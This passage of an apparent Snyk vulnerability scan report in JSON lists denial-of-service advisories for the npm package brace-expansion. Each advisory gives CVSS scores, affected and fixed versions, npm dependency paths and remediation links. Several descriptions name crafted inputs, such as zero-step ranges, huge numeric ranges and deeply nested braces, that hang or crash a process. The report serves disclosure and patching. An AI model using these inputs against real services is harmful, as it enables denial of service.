"make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], 